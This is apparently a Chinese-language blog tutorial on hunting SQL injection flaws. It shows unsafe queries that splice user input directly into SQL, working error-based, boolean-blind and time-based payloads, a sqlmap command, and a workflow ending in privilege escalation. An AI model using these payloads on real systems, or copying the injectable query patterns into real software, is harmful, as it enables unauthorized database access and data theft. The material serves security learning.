漏洞挖掘之SQL注入漏洞挖掘

漏洞挖掘之SQL注入漏洞挖掘

SQL注入漏洞出现的场景

  • 动态网站的访问请求

select news from article where id=$id;
select name from member where username='$name';

  • 搜索框

select news from article where keywords like '%$name%';
有时候需要用%符号来闭合后面的

  • 注册或填写信息

insert into member(username,pw,sex,phonenum,email,address)
values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}');

  • 修改信息

update member set
sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}';

  • 删除

delete from message where id={$_GET['id']};

  • 登录

{"orderBy":"order limit 1,1 PROCEDURE ANALYSE(polygon(id),1)#","num":"1,1","type":"openedbyme"}

  • HTTP头注入

insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport)
values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport');


演示具体场景下的挖掘

union注入

数字型注入
sqlmap进⾏post注入

sqlmap.py -r "1.txt" -p 参数名

字符型注入

报错注入

insert场景下的报错注入

yusy' or updatexml(1,concat(0x7e,version()),0) or '

delete场景下的报错注入

56 or updatexml(1,concat(0x7e,version()),0)

盲注

先尝试布尔在尝试时间

布尔盲注(base on boolian)

猜解当前数据库名
猜长度

输入1' and length(database())=1 #,显⽰不存在;

逐字猜解

输入1' and ascii(substr(database(),1,1))>97#
输入1' and ascii(substr(database(),1,1))<113#
...

重复以上步骤直到得出完整的数据库名

时间盲注(base on time)

kobe' and sleep(5)#
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

HTTP头注入

user-agent
x-forward-for
client-ip
cookie

注入漏洞挖掘流程

  • 判断是否存在注入点

⾃动:工具扫描
手动:手动构造语句判断

  • 信息获取

数据库信息,操作系统版本,用户信息,数据库名称,数据库表,字段,字段内容.....

  • 尝试获取权限
posted @ 2020-12-09 23:48  Black-Sweater  阅读(566)  评论(0编辑  收藏  举报